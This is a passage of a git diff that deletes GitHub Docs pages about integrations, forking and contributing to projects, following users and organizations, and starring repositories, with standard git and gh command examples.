variables.product.prodname_actions %} workflows, or custom actions for {% data variables.product.prodname_actions %} workflows. - -* {% data variables.product.prodname_github_apps %} are integrations that run on the app owner's server or on a user device. For more information, see [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps). -* {% data variables.product.prodname_actions %} workflows are workflows that run when specific events occur on {% data variables.product.company_short %}. For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). -* Custom actions are code that can be executed by a {% data variables.product.prodname_actions %} workflow. For more information, see [AUTOTITLE](/actions/creating-actions/about-custom-actions). - -Your integration can use {% data variables.product.company_short %}'s API to fetch data and make changes to data on {% data variables.product.company_short %}. {% data variables.product.company_short %} has a REST API and a GraphQL API. For more information, see: - -* [AUTOTITLE](/rest/about-the-rest-api/comparing-githubs-rest-api-and-graphql-api) -* [AUTOTITLE](/rest) -* [AUTOTITLE](/graphql) - -Your integration can use webhooks to learn when specific events happen on {% data variables.product.company_short %}. For more information, see [AUTOTITLE](/webhooks/about-webhooks). - -{% ifversion fpt or ghec %} If your integration is a {% data variables.product.prodname_github_app %} or custom action, you can publish your integration on {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/about-github-marketplace-for-apps) and [AUTOTITLE](/actions/creating-actions/publishing-actions-in-github-marketplace).{% endif %} - -{% ifversion fpt or ghec %} -If your integration uses generative AI, you can find and experiment with AI models for free on {% data variables.product.company_short %}. See [AUTOTITLE](/github-models/prototyping-with-ai-models). -{% endif %} diff --git a/content/get-started/exploring-integrations/about-using-integrations.md b/content/get-started/exploring-integrations/about-using-integrations.md deleted file mode 100644 index 25406ea7a3ff..000000000000 --- a/content/get-started/exploring-integrations/about-using-integrations.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: About using integrations -intro: 'Integrations are tools and services that connect with {% data variables.product.github %} to complement and extend your workflow.' -redirect_from: - - /articles/about-integrations - - /github/customizing-your-github-workflow/about-integrations - - /github/customizing-your-github-workflow/exploring-integrations/about-integrations - - /get-started/customizing-your-github-workflow/exploring-integrations/about-integrations - - /articles/about-github-marketplace - - /github/customizing-your-github-workflow/about-github-marketplace - - /github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace - - /get-started/customizing-your-github-workflow/exploring-integrations/about-github-marketplace - - /get-started/exploring-integrations/about-github-marketplace - - /get-started/exploring-integrations/about-integrations -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -Integrations are tools that extend {% data variables.product.company_short %}'s functionality. Integrations can do things on {% data variables.product.company_short %} like open issues, comment on pull requests, and manage projects. They can also do things outside of {% data variables.product.company_short %} based on events that happen on {% data variables.product.company_short %}. For example, an integration can post on Slack when an issue is opened on {% data variables.product.company_short %}. - -You can discover many integrations in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). {% data variables.product.prodname_marketplace %} includes {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, and custom actions that you can use in {% data variables.product.prodname_actions %} workflows. You can also get integrations directly from the integration creator. - -For a list of featured {% data variables.product.company_short %} integrations, see [AUTOTITLE](/get-started/exploring-integrations/featured-github-integrations). - -{% ifversion ghes %} - -If you want your {% data variables.product.prodname_ghe_server %} instance to use a third-party {% data variables.product.prodname_github_app %}, you can contact the app developer about making the {% data variables.product.prodname_github_app %} available for {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/apps/sharing-github-apps/making-your-github-app-available-for-github-enterprise-server). - -If you want your {% data variables.product.prodname_ghe_server %} instance to use third-party custom actions, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). - -{% endif %} - -For more information about using integrations, see: - -* [AUTOTITLE](/apps/using-github-apps/about-using-github-apps) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps) -* [AUTOTITLE](/actions/learn-github-actions/finding-and-customizing-actions) - -You can also build your own integrations. For more information, see [AUTOTITLE](/get-started/exploring-integrations/about-building-integrations). diff --git a/content/get-started/exploring-integrations/featured-github-integrations.md b/content/get-started/exploring-integrations/featured-github-integrations.md deleted file mode 100644 index d50614992822..000000000000 --- a/content/get-started/exploring-integrations/featured-github-integrations.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Featured GitHub integrations -intro: 'Use {% data variables.product.github %} extensions to work seamlessly in repositories on {% data variables.location.product_location %} within third-party applications.' -redirect_from: - - /articles/about-github-extensions-for-third-party-applications - - /articles/github-extensions-and-integrations - - /github/customizing-your-github-workflow/github-extensions-and-integrations - - /github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations - - /get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations - - /get-started/exploring-integrations/github-extensions-and-integrations -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Featured integrations ---- - -{% ifversion fpt or ghec %} - -## Editor tools - -You can connect to {% data variables.product.github %} repositories within third-party editor tools such as {% data variables.product.prodname_vs %}. - -{% ifversion fpt %} - -> [!NOTE] -> To see an example of how third-party editor tools connect to repositories for {% data variables.product.prodname_classroom %}, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). - -{% endif %} - -### {% data variables.product.github %} for {% data variables.product.prodname_vs %} - -With the {% data variables.product.github %} for {% data variables.product.prodname_vs %} extension, you can work in {% data variables.product.github %} repositories without leaving {% data variables.product.prodname_vs %}. For more information, see the official {% data variables.product.prodname_vs %} extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs). - -### {% data variables.product.github %} for {% data variables.product.prodname_vscode %} - -With the {% data variables.product.github %} for {% data variables.product.prodname_vscode %} extension, you can review and manage {% data variables.product.github %} pull requests in {% data variables.product.prodname_vscode_shortname %}. For more information, see the official {% data variables.product.prodname_vscode_shortname %} extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github). - -## Project management tools - -You can integrate your personal or organization account on {% data variables.location.product_location %} with third-party project management tools, such as Jira. - -### Jira Cloud and {% data variables.product.prodname_dotcom_the_website %} integration - -You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace. - -{% endif %} - -## Team communication tools - -You can integrate your {% ifversion fpt or ghec %}personal{% elsif ghes %}user{% endif %} or organization account on {% data variables.location.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams. - -### Slack and {% data variables.product.github %} integration - -The Slack + {% data variables.product.github %} app lets you subscribe to your repositories or organizations and get real-time updates about activity for the following features on {% data variables.location.product_location %}. - -* Issues -* Pull requests -* Commits -* Discussions -* Releases -* {% data variables.product.prodname_actions %} -* Deployments - -You can also open and close issues, comment on your issues and pull requests, approve deployments, and see detailed references to issues and pull requests without leaving Slack. The app will also ping you personally on Slack if you are mentioned as part of any {% data variables.product.github %} notifications that you receive in your channels or personal chats. - -The Slack + {% data variables.product.github %} app is also compatible with [Slack Enterprise Grid](https://slack.com/intl/en-in/help/articles/360000281563-Manage-apps-on-Enterprise-Grid). For more information, see the integration's [README](https://github.com/integrations/slack/blob/master/README.md) in the `integrations/slack` repository. - -### Microsoft Teams and {% data variables.product.github %} integration - -The {% data variables.product.github %} for Teams app lets you subscribe to your repositories or organizations and get real-time updates about activity for the following features on {% data variables.location.product_location %}. - -* Issues -* Pull requests -* Commits -* Discussions -* Releases -* {% data variables.product.prodname_actions %} -* Deployments - -You can also open and close issues, comment on your issues and pull requests, approve deployments, and see detailed references to issues and pull requests without leaving Microsoft Teams. The app will also ping you personally on Teams if you are mentioned as part of any {% data variables.product.prodname_dotcom %} notifications that you receive in your channels or personal chats. - -For more information, see the integration's [README](https://github.com/integrations/microsoft-teams/blob/master/Readme.md) in the `integrations/microsoft-teams` repository. diff --git a/content/get-started/exploring-integrations/github-developer-program.md b/content/get-started/exploring-integrations/github-developer-program.md deleted file mode 100644 index 01a4451796b9..000000000000 --- a/content/get-started/exploring-integrations/github-developer-program.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: GitHub Developer Program -intro: 'If you build tools that integrate with {% data variables.product.prodname_dotcom %}, you can join the {% data variables.product.prodname_dotcom %} Developer Program.' -redirect_from: - - /program - - /developers/overview/github-developer-program -versions: - fpt: '*' - ghec: '*' -topics: - - API ---- - -Building an application that integrates with {% data variables.product.prodname_dotcom %}? Register for our Developer Program! The possibilities are endless, and you enjoy the kudos. [Register now](https://github.com/developer/register). - -## Scratch an itch - -Build your own tools that seamlessly integrate with the place you push code every day. - -## Take on the enterprise - -Email partnerships@github.com to request developer licenses to build and test your application against {% data variables.product.prodname_ghe_server %}. - -## Have an integration that works with GitHub? - -Awesome! Here’s how you can spread the word: - -* Use the [Octocat or GitHub logo](https://github.com/logos) to identify that your product works with GitHub. -* Post a video or a blog on your website about your integration. - -## Ready to join the GitHub Developer Program? - -Membership is open to individual developers and companies who have: - -* An integration in production or development using the GitHub API. -* An email address where GitHub users can contact you for support. diff --git a/content/get-started/exploring-integrations/index.md b/content/get-started/exploring-integrations/index.md deleted file mode 100644 index ca5eabc2a94e..000000000000 --- a/content/get-started/exploring-integrations/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Exploring integrations -intro: 'Learn how you can customize your {% data variables.product.prodname_dotcom %} workflow with integrations.' -redirect_from: - - /categories/customizing-your-github-workflow - - /github/customizing-your-github-workflow - - /articles/exploring-integrations - - /github/customizing-your-github-workflow/exploring-integrations - - /get-started/customizing-your-github-workflow - - /get-started/customizing-your-github-workflow/exploring-integrations -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /about-using-integrations - - /about-building-integrations - - /featured-github-integrations - - /github-developer-program -shortTitle: Exploring integrations ---- diff --git a/content/get-started/exploring-projects-on-github/contributing-to-a-project.md b/content/get-started/exploring-projects-on-github/contributing-to-a-project.md deleted file mode 100644 index 57c432826304..000000000000 --- a/content/get-started/exploring-projects-on-github/contributing-to-a-project.md +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: Contributing to a project -shortTitle: Contribute to a project -intro: Learn how to contribute to a project through forking. -permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Forks - - GitHub - - Open Source -redirect_from: - - /get-started/quickstart/contributing-to-projects ---- - -## About forking - -If you want to contribute to someone else's project but don’t have permission to make changes directly, you can create your own copy of the project, make updates, and then suggest those updates for inclusion in the main project. This process is often called a "fork and pull request" workflow. - -When you create your own copy (or "fork") of a project, it’s like making a new workspace that shares code with the original project. This is useful for open-source projects or anytime you don’t have write access to the original project. - -Once you’ve made your changes in your copy, you can submit them as a pull request, which is a way to propose changes back to the main project. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo). - -## Creating your own copy of a project - -This tutorial uses [the Spoon-Knife project](https://github.com/octocat/Spoon-Knife), a test repository that's hosted on {% data variables.product.prodname_dotcom %} that lets you test the fork and pull request workflow. - -1. Navigate to the `Spoon-Knife` project at https://github.com/octocat/Spoon-Knife. -1. In the top-right corner of the page, click **Fork**. - - ![Screenshot of the main page of repository. A button, labeled with a fork icon and "Fork 59.3k," is outlined in dark orange.](/assets/images/help/repository/fork-button.png) -1. Under "Owner," select the dropdown menu and click an owner for the forked repository. - >[!NOTE] If your username is grayed out, it's because the fork already exists. Instead, you should bring your existing fork up to date. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork#syncing-a-fork-branch-from-the-web-ui). -1. By default, forks are named the same as their upstream repositories. Optionally, to further distinguish your fork, in the "Repository name" field, type a name. -1. Optionally, in the "Description" field, type a description of your fork. -1. Optionally, select **Copy the DEFAULT branch only**. - - For many forking scenarios, such as contributing to open-source projects, you only need to copy the default branch. If you do not select this option, all branches will be copied into the new fork. -1. Click **Create fork**. - -> [!NOTE] -> If you want to copy additional branches from the upstream repository, you can do so from the **Branches** page. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository). - -## Cloning a fork to your computer - -You've successfully forked the Spoon-Knife repository, but so far, it only exists on {% data variables.product.github %}. To be able to work on the project, you will need to clone it to your computer. - -You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}. - -{% webui %} - -1. On {% data variables.product.github %}, navigate to **your fork** of the Spoon-Knife repository. -{% data reusables.repositories.copy-clone-url %} -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.change-current-directory-clone %} -1. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.github %} username instead of `YOUR-USERNAME`: - - ```shell - git clone https://{% data variables.product.product_url %}/YOUR-USERNAME/Spoon-Knife - ``` - -1. Press **Enter**. Your local clone will be created. - - ```shell - $ git clone https://{% data variables.product.product_url %}/YOUR-USERNAME/Spoon-Knife - > Cloning into `Spoon-Knife`... - > remote: Counting objects: 10, done. - > remote: Compressing objects: 100% (8/8), done. - > remove: Total 10 (delta 1), reused 10 (delta 1) - > Unpacking objects: 100% (10/10), done. - ``` - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To create a clone of your fork, use the `--clone` flag. - -```shell -gh repo fork REPOSITORY --clone=true -``` - -{% endcli %} - -{% desktop %} - -{% data reusables.desktop.choose-clone-repository %} -{% data reusables.desktop.cloning-location-tab %} -{% data reusables.desktop.cloning-repository-list %} -{% data reusables.desktop.choose-local-path %} -{% data reusables.desktop.click-clone %} - -{% enddesktop %} - -## Creating a branch to work on - -Before making changes to the project, you should create a new branch and check it out. By keeping changes in their own branch, you follow {% data variables.product.github %} flow and ensure that it will be easier to contribute to the same project again in the future. See [AUTOTITLE](/get-started/using-github/github-flow#following-github-flow). - -{% webui %} - -```shell -git branch BRANCH-NAME -git checkout BRANCH-NAME -``` - -{% endwebui %} - -{% cli %} - -```shell -git branch BRANCH-NAME -git checkout BRANCH-NAME -``` - -{% endcli %} - -{% desktop %} - -For more information about how to create and manage branches in {% data variables.product.prodname_desktop %}, see [AUTOTITLE](/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop). - -{% enddesktop %} - -## Making and pushing changes - -Go ahead and make a few changes to the project using your favorite text editor, like [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com). You could, for example, change the text in `index.html` to add your {% data variables.product.github %} username. - -When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes. - -{% webui %} - -```shell -git add . -git commit -m "a short description of the change" -``` - -{% endwebui %} - -{% cli %} - -```shell -git add . -git commit -m "a short description of the change" -``` - -{% endcli %} - -{% desktop %} - -For more information about how to stage and commit changes in {% data variables.product.prodname_desktop %}, see [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop#selecting-changes-to-include-in-a-commit). - -{% enddesktop %} - -When you stage and commit files, you essentially tell Git, "Okay, take a snapshot of my changes!" You can continue to make more changes, and take more commit snapshots. - -Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.github %}, push your changes to the remote. - -{% webui %} - -```shell -git push -``` - -{% endwebui %} - -{% cli %} - -```shell -git push -``` - -{% endcli %} - -{% desktop %} - -For more information about how to push changes in {% data variables.product.prodname_desktop %}, see [AUTOTITLE](/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop). - -{% enddesktop %} - -## Making a pull request - -At last, you're ready to propose changes into the main project! This is the final step in producing a fork of someone else's project, and arguably the most important. If you've made a change that you feel would benefit the community as a whole, you should definitely consider contributing back. - -To do so, head on over to the repository on {% data variables.product.github %} where your project lives. For this example, it would be at `https://github.com//Spoon-Knife`. You'll see a banner indicating that your branch is one commit ahead of `octocat:main`. Click **Contribute** and then **Open a pull request**. - -{% data variables.product.github %} will bring you to a page that shows the differences between your fork and the `octocat/Spoon-Knife` repository. Click **Create pull request**. - -{% data variables.product.github %} will bring you to a page where you can enter a title and a description of your changes. It's important to provide as much useful information and a rationale for why you're making this pull request in the first place. The project owner needs to be able to determine whether your change is as useful to everyone as you think it is. Finally, click **Create pull request**. - -## Managing feedback - -Pull requests are an area for discussion. Don't be offended if the project owner rejects your pull request, or asks for more information on why it's been made. Even if the project owner chooses not to merge your pull request, your changes still exist in your fork. It could be that someone else will find your fork much more valuable than the original project. - -## Finding projects - -You've successfully forked and contributed back to a repository. Go forth, and -contribute some more!{% ifversion fpt %} For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %} - -{% ifversion copilot %} - -## Familiarizing yourself with a project - -If you're new to a project, you can use {% data variables.product.prodname_copilot_short %} to help you understand the purpose of the repository, examine files, and dive into specific lines of code. See [AUTOTITLE](/get-started/exploring-projects-on-github/using-github-copilot-to-explore-projects).{% endif %} diff --git a/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md deleted file mode 100644 index 75389cb3eb46..000000000000 --- a/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Finding ways to contribute to open source on GitHub -intro: 'You can find ways to contribute to open source projects on {% data variables.product.prodname_dotcom %} that are relevant to you.' -permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}' -redirect_from: - - /articles/where-can-i-find-open-source-projects-to-work-on - - /articles/finding-interesting-projects-on-github - - /articles/about-official-github-mirrors - - /articles/about-github-mirrors - - /articles/finding-open-source-projects-on-github - - /github/getting-started-with-github/finding-open-source-projects-on-github - - /github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github - - /github/getting-started-with-github/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github -versions: - fpt: '*' - ghec: '*' -topics: - - Open Source -shortTitle: Contribute to open source ---- -## Discovering relevant projects - -If there's a particular topic that interests you, visit `github.com/topics/`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. See [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories#search-by-topic). - -If you're interested in contributing to projects that **reduce the carbon emissions of software**, review [{% data variables.product.github %}'s Green Software Directory](https://github.com/github/GreenSoftwareDirectory). - -If you've been active on {% data variables.product.prodname_dotcom %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore {% data variables.product.prodname_dotcom %}](https://github.com/explore). - -Keep up with recent activity from repositories you watch, as well as people and organizations you follow, with your personal dashboard. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard). - -{% data reusables.support.ask-and-answer-forum %} - -## Finding good first issues - -If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com///contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute. - -## Opening an issue - -If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines. - -## Validating an issue or pull request - -There are a variety of ways that you can contribute to open source projects. - -### Reproducing a reported bug - -You can contribute to an open source project by validating an issue or adding additional context to an existing issue. - -### Testing a pull request - -You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request. - -### Updating issues - -You can contribute to an open source project by adding additional information to existing issues. - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics) -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard) diff --git a/content/get-started/exploring-projects-on-github/following-organizations.md b/content/get-started/exploring-projects-on-github/following-organizations.md deleted file mode 100644 index a953514ea138..000000000000 --- a/content/get-started/exploring-projects-on-github/following-organizations.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Following organizations -intro: 'You can follow organizations on {% data variables.product.github %} to receive notifications about their activity.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profile ---- - -{% data reusables.organizations.follow-organizations-beta %} - -## About followers - -{% data reusables.organizations.about-following-organizations %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community). - -You can unfollow an organization if you do not wish to see their {% ifversion fpt or ghec %}public{% endif %} activity on {% data variables.product.github %}. - -## Following an organization - -1. Go to the organization page you want to follow. -1. In the top-right corner, click **Follow**. - -## Unfollowing an organization - -1. Go to the organization page you want to unfollow. -1. In the top-right corner, click **Unfollow**. - -## Viewing people and organizations a user follows - -{% data reusables.profile.navigate-to-user-profile %} -1. Under the user's profile picture, click **following**. - - ![Screenshot of the sidebar of @octocat's profile page. A link, labeled "9 following", is outlined in dark orange.](/assets/images/help/profile/user-profile-following.png) - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/exploring-projects-on-github/following-people) -{% endif %} diff --git a/content/get-started/exploring-projects-on-github/following-people.md b/content/get-started/exploring-projects-on-github/following-people.md deleted file mode 100644 index d2dfc870d151..000000000000 --- a/content/get-started/exploring-projects-on-github/following-people.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Following people -intro: 'You can follow people on {% data variables.product.github %} to receive notifications about their activity{% ifversion fpt or ghec %} and discover projects in their communities{% endif %}.' -permissions: '{% data reusables.enterprise-accounts.emu-permission-follow %}' -redirect_from: - - /articles/following-people - - /github/getting-started-with-github/following-people - - /github/getting-started-with-github/exploring-projects-on-github/following-people -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profile ---- - -## About followers - -When you follow people, you'll see their public activity on your personal dashboard.{% ifversion fpt or ghec %} If someone you follow stars a public repository, {% data variables.product.github %} may recommend the repository to you.{% endif %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community). - -You can unfollow someone if you do not wish to see their public activity on {% data variables.product.github %}. - -## Following a user - -{% data reusables.profile.navigate-to-user-profile %} -1. Under the user's profile picture, click **Follow**. - -## Unfollowing a user - -{% data reusables.profile.navigate-to-user-profile %} -1. Under the user's profile picture, click **Unfollow**. - -## Viewing followed users - -{% data reusables.profile.navigate-to-user-profile %} -1. Under the user's profile picture, click **following**. - - ![Screenshot of the sidebar of @octocat's profile page. A link, labeled "9 following", is outlined in dark orange.](/assets/images/help/profile/user-profile-following.png) - -## Viewing followers - -{% data reusables.profile.navigate-to-user-profile %} -1. Under the user's profile picture, click **followers**. - - ![Screenshot of the sidebar of @octocat's profile page. A people icon and a link, labeled "8.4k followers", are outlined in dark orange.](/assets/images/help/profile/user-profile-followers.png) - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars) -* [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github) -{% endif %} diff --git a/content/get-started/exploring-projects-on-github/index.md b/content/get-started/exploring-projects-on-github/index.md deleted file mode 100644 index 06e5bfba0de3..000000000000 --- a/content/get-started/exploring-projects-on-github/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Exploring projects on GitHub -intro: 'Discover interesting projects on {% data variables.product.github %} and contribute to open source by collaborating with other people.' -redirect_from: - - /categories/stars - - /categories/87/articles - - /categories/exploring-projects-on-github - - /articles/exploring-projects-on-github - - /github/getting-started-with-github/exploring-projects-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Projects -children: - - /finding-ways-to-contribute-to-open-source-on-github - - /using-github-copilot-to-explore-projects - - /contributing-to-a-project - - /saving-repositories-with-stars - - /following-people - - /following-organizations -shortTitle: Explore projects ---- diff --git a/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md b/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md deleted file mode 100644 index 96c99065bf2b..000000000000 --- a/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Saving repositories with stars -intro: 'You can star repositories and topics to keep track of projects you find interesting{% ifversion fpt or ghec %} and discover related content in your news feed{% endif %}.' -redirect_from: - - /articles/stars - - /articles/about-stars - - /articles/browsing-friends-stars - - /articles/managing-your-stars - - /articles/saving-repositories-with-stars - - /github/getting-started-with-github/saving-repositories-with-stars - - /github/getting-started-with-github/exploring-projects-on-github/saving-repositories-with-stars -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Save repositories with stars ---- -You can search, sort, and filter your starred repositories and topics on your {% data variables.explore.your_stars_page %}. - -## About stars - -Starring makes it easy to find a repository or topic again later. You can see all the repositories and topics you have starred by going to your {% data variables.explore.your_stars_page %}. - -{% ifversion fpt or ghec %} -You can star repositories and topics to discover similar projects on {% data variables.product.github %}. For example, after you star [{% data variables.product.github %}'s Green Software Directory](https://github.com/github/GreenSoftwareDirectory), you will see other content related to green software on your personal dashboard. -{% endif %} - -Starring a repository also shows appreciation to the repository maintainer for their work. Many of {% data variables.product.prodname_dotcom %}'s repository rankings depend on the number of stars a repository has. In addition, [Explore {% data variables.product.prodname_dotcom %}](https://github.com/explore) shows popular repositories based on the number of stars they have. - -## Starring a repository - -Starring a repository is a simple two-step process. - -{% data reusables.repositories.navigate-to-repo %} -1. In the top-right corner of the page, click **Star**. -![Screenshot of the repository bar with the "Star" option highlighted with a dark orange outline.](/assets/images/help/stars/starring-a-repository.png) -1. Optionally, to unstar a previously starred repository, click **Starred**. This will remove the repository from your starred list. -![Screenshot of the repository bar. The "Starred" button is highlighted with a dark orange outline.](/assets/images/help/stars/unstarring-a-repository.png) - -{% ifversion fpt or ghec %} - -## Viewing who has starred a repository - -You can view everyone who has starred a public repository or a private repository you have access to. - -To view everyone who has starred a repository, add `/stargazers` to the end of the URL of a repository. For example, to view stargazers for the github/docs repository, visit https://github.com/github/docs/stargazers. - -## Organizing starred repositories with lists - -> [!NOTE] -> Lists are currently in {% data variables.release-phases.public_preview %} and subject to change. - -Curate repositories that you've starred with public lists. You can create public lists that appear on your stars page at `https://github.com/USERNAME?tab=stars`. - -![Screenshot the "Stars" tab of Octocat's profile. Two named lists of stars are displayed.](/assets/images/help/stars/lists-overview-on-stars-page.png) - -If you add a private repository to a list, then the private repository will only appear in your list for people with `read` access to the repository. - -You can add a repository to an existing or new list wherever you see a repository's **Star** or **Starred** dropdown menu, whether on a repository page or in a list of starred repositories. - -![Screenshot of a repository page. The "Star" dropdown menu is expanded, with a list options highlighted with a dark orange outline.](/assets/images/help/stars/stars-dropdown-on-repo.png) - -### Creating a list - -{% data reusables.stars.stars-page-navigation %} -1. Next to "Lists", click **Create list**. -1. Enter a name and description for your list and click **Create**. - -### Adding a repository to a list - -{% data reusables.stars.stars-page-navigation %} -1. Find the repository you want to add to your list by typing it into the search bar. -1. Next to the repository you want to add, use the **Starred** dropdown menu and select your list. - ![Screenshot of a list of repositories on the "Stars" page. Next to a repository, under the "Starred" button, a dropdown menu is outlined in orange.](/assets/images/help/stars/add-repo-to-list.png) - -### Removing a repository from your list - -{% data reusables.stars.stars-page-navigation %} -1. Select your list. -1. Next to the repository you want to remove, use the **Starred** drop-down menu and deselect your list. - ![Screenshot of a list of repositories on the "Stars" page. Next to a repository, under the "Starred" button, a dropdown menu is outlined in orange.](/assets/images/help/stars/add-repo-to-list.png) - -### Editing a list name or description - -{% data reusables.stars.stars-page-navigation %} -1. Select the list you want to edit. -1. Click **Edit list**. -1. Update the name or description and click **Save list**. - -### Deleting a list - -{% data reusables.stars.stars-page-navigation %} -1. Select the list you want to delete. -1. Click **Delete list**. -1. To confirm, click **Delete**. - -{% endif %} - -## Searching starred repositories and topics - -You can use the search bar on your {% data variables.explore.your_stars_page %} to quickly find repositories and topics you've starred. - -{% data reusables.stars.stars-page-navigation %} -1. Use the search bar to find your starred repositories or topics by their name. - -The search bar only searches based on the name of a repository or topic, and not on any other qualifiers (such as the size of the repository or when it was last updated). - -## Sorting and filtering stars on your stars page - -You can use sorting or filtering to customize how you see starred repositories and topics on your stars page. - -{% data reusables.stars.stars-page-navigation %} -1. To sort stars, select the **Sort by:** dropdown menu, then select **Recently starred**, **Recently active**, or **Most stars**. -1. To filter your list of stars based on their language, click on the desired language under the **Language** dropdown menu. -1. To filter your list of stars based on repository type, click on the desired option under the **Type:** dropdown menu. - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics) diff --git a/content/get-started/exploring-projects-on-github/using-github-copilot-to-explore-projects.md b/content/get-started/exploring-projects-on-github/using-github-copilot-to-explore-projects.md deleted file mode 100644 index aeedeb8bd129..000000000000 --- a/content/get-started/exploring-projects-on-github/using-github-copilot-to-explore-projects.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Using GitHub Copilot to explore projects -intro: 'This guide will help you use {% data variables.product.prodname_copilot_short %} to explore projects on {% data variables.product.prodname_dotcom %}.' -versions: - feature: copilot -topics: - - Copilot - - Repositories -shortTitle: Use Copilot to explore projects ---- - -In this guide, you’ll learn how to use {% data variables.product.prodname_copilot_chat_dotcom_short %} to understand a repository’s purpose, examine files, and dive into specific lines of code. By following these steps, you’ll gain insights into any project faster—making onboarding, code review, and project exploration easier and more 